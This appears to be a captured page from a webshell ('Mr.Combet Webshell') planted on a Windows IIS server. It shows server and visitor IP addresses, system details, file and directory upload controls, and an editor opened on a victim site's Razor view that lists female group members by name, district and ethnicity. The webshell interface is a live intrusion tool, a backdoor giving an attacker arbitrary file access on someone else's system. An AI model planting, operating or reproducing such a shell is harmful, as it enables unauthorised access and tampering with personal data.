Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
GroupMembers
/
Edit File Name :
_femaleMemberListForGALS.cshtml
@using PagedList.Mvc; @using RER_Project.BusinessLayer.BusinessService @using RER_Project.Core.Helpers @model PagedList.IPagedList<RER_Project.DataAccess.Functions.FnGroupMembersList> @{ var meta = AppUserService.GetCurrent(); int currentPage = Convert.ToInt32(Request.QueryString["page"].ToString()); } <div class="table table-responsive table-striped table-hover table-bordered"> <table class="table table-striped" id="groupListTable"> <thead> <tr> <th>SN. </th> <th>Name</th> <th>District</th> <th>Muncipality</th> <th>Group Name </th> <th>Ethnicity</th> <th>GALS Score</th> <th style=" white-space: nowrap;"> Potential For GALS <center> @if (Model.Count > 0) { @*<small id="AllSelectGals" style="color:blue;cursor:pointer">Select All</small>*@ if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnEExpert) { <small id="SelectThisFormGals" style="color:blue;cursor:pointer">Select This Page</small> } } </center> </th> <th style=" white-space: nowrap;">Eligible GALS</th> <th style=" white-space: nowrap;">GALS Mentor</th> <th>Action</th> </tr> </thead> <tbody> @{ int serialNo = 1; } @foreach (var item in Model) { <tr> <td> <label> @((currentPage - 1) * 10 + @serialNo)</label> @{ serialNo++; } </td> <td> @item.first_name @item.last_name </td> <td> @item.district </td> <td> @item.municipality </td> <td> @item.group_name </td> <td> @item.ethnicity </td> <td style="white-space: nowrap;"> @{ if (item.fiscal_year != null) { var datas = (@item.fiscal_year).Split('|'); <a class='' style='font-size:14px;padding:5px' onclick="getGALSData('@item.id')"><i style='cursor:pointer;' class='fa fa-eye'></i></a> foreach (var items in datas) { <a href="@("/gals_page/gals?memberId=" + item.id)" title="GALS Form" style="font-size:15px;padding:5px"> <span class="badge"> <small>@items </small> </span> </a> } } else { <span>Not Filled Yet </span> } } </td> <td> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnEExpert) { <center> <input type="checkbox" onclick='handleCheckBoxForMakingPotentialGals(this,"@item.fiscal_year")' name="memberId" value="@item.id" @(item.fiscal_year != null ? "disabled" : "") @(item.is_gals == true ? "checked" : "") id="IsGals" class="chkBoxForPotential"> </center> } else { <center> <input type="checkbox" name="memberId" value="@item.id" disabled @(item.is_gals == true ? "checked" : "") id="IsGals" class="chkBoxForPotential"> </center> } </td> <td> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnEExpert) { <center> <input type="checkbox" onclick='handleCheckBoxForEligibleGals(this)' name="memberId" value="@item.id" @(item.is_gals == true && item.fiscal_year != null ? "" : "disabled") @(item.is_finalized_gals_member == true ? "checked" : "") class="chkBoxForEligible"> </center> } else { <center> <input type="checkbox" name="memberId" value="@item.id" disabled @(item.is_finalized_gals_member == true ? "checked" : "") class="chkBoxForEligible"> </center> } </td> <td> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnEExpert) { <center> <input type="checkbox" onclick='handleCheckBoxForGALSMentor(this)' name="memberId" value="@item.id" @(item.fiscal_year != null && item.is_finalized_gals_member == true ? "" : "disabled") @(item.is_gals_mentor == true ? "checked" : "") class="chkBoxForMentor"> </center> } else { <center> <input type="checkbox" name="memberId" value="@item.id" disabled @(item.is_gals_mentor == true ? "checked" : "") class="chkBoxForMentor"> </center> } </td> <td> <center> <a target="_blank" class="btn btn-default btn-xs" href="/gals/group/@item.group_id/member/@item.id" title="View @item.first_name @item.last_name Details" style="color:dodgerblue"><i class="fa fa-eye"></i></a></center> </td> </tr> } </tbody> </table> <div align="center"> @if (Model.Count > 0) { @Html.PagedListPager(Model, page => Url.Action("FemaleMembersForGALS", new { page, district = ViewBag.District, municipality = ViewBag.Municipality, commodity = ViewBag.Commodity, group = ViewBag.GroupId, status = ViewBag.GALStatus }), PagedListRenderOptions.ClassicPlusFirstAndLast) } </div> </div> <div> @{ Html.RenderAction("ViewGALSData", "GALSGroup");} </div> <script type="text/javascript"> function handleCheckBoxForMakingPotentialGals(cb,fiscalYear) { var memberId = cb.value; WorkForce.loader.show(); var model = { memberId: memberId}; const ajax = requestAMemberForEligibleGalsMember(model); ajax.done(function (response) { if (fiscalYear === "" || fiscalYear === null) { $(".chkBoxForEligible[value=" + memberId + "]").prop("disabled", true); } else { $(".chkBoxForMentor[value=" + memberId + "]").prop("disabled", false); } WorkForce.loader.hide(); showNotification("success"); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); } function requestAMemberForEligibleGalsMember(model) { const url = "/gals_members/save/one_to_one"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } function handleCheckBoxForEligibleGals(cb) { debugger; let conf = confirm(`Are you sure you want to make this member as Eligible GALS member ?`); if (!conf) { WorkForce.loader.hide(); if (cb.checked) { $(".chkBoxForEligible[value=" + memberId + "]").prop("checked", false); } else { $(".chkBoxForEligible[value=" + memberId + "]").prop("checked", true); } //$(".chkBoxForEligible[value=" + memberId + "]").prop("checked", false); return; } else { var memberId = cb.value; WorkForce.loader.show(); var model = { memberId: memberId }; const ajax = requestAMemberForFinalGalsMember(model); ajax.done(function (response) { $(".chkBoxForPotential[value=" + memberId + "]").prop("disabled", true); WorkForce.loader.hide(); showNotification("success"); loadFemaleMembers(); //window.location.reload() //window.location.reload(true); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); } } function requestAMemberForFinalGalsMember(model) { const url = "/gals_members/finalize/one_to_one"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } function handleCheckBoxForGALSMentor(cb) { debugger; let conf = confirm(`Are you sure you want to make this member as Mentor GALS member ?`); if (!conf) { WorkForce.loader.hide(); if (cb.checked) { $(".chkBoxForMentor[value=" + memberId + "]").prop("checked", false); } else { $(".chkBoxForMentor[value=" + memberId + "]").prop("checked", true); } //$(".chkBoxForEligible[value=" + memberId + "]").prop("checked", false); return; } else { var memberId = cb.value; WorkForce.loader.show(); var model = { memberId: memberId }; const ajax = requestAMemberForMakingGalsMentor(model); ajax.done(function (response) { $(".chkBoxForEligible[value=" + memberId + "]").prop("disabled", true); WorkForce.loader.hide(); showNotification("success"); loadFemaleMembers(); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); } } function requestAMemberForMakingGalsMentor(model) { const url = "/gals_members/mentor/one_to_one"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } $("#SelectThisFormGals").on("click", function () { let conf = confirm(`Are you sure you want to select this Page GALS Member?`); if (!conf) { return; } else { var lstOfMember = @Html.Raw(Json.Encode(Model)); console.log(lstOfMember); var members = []; lstOfMember.forEach(function(x){ members.push(x.id); }) var model = { memberIds: members}; const ajax = requestToMakeThisListGALSMemberEligible(model); ajax.done(function (response) { if (response.value === true) { } WorkForce.loader.hide(); showNotification("success"); loadFemaleMembers(); $(".chkBoxForPotential").prop("checked", true); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); } }) function requestToMakeThisListGALSMemberEligible(model) { const url = "/gals_members/make_current_list_gals_member"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } </script> <style> table td, th { border: 1px solid #e7eaec; } input[type=checkbox] { transform: scale(1.5); } </style>
Save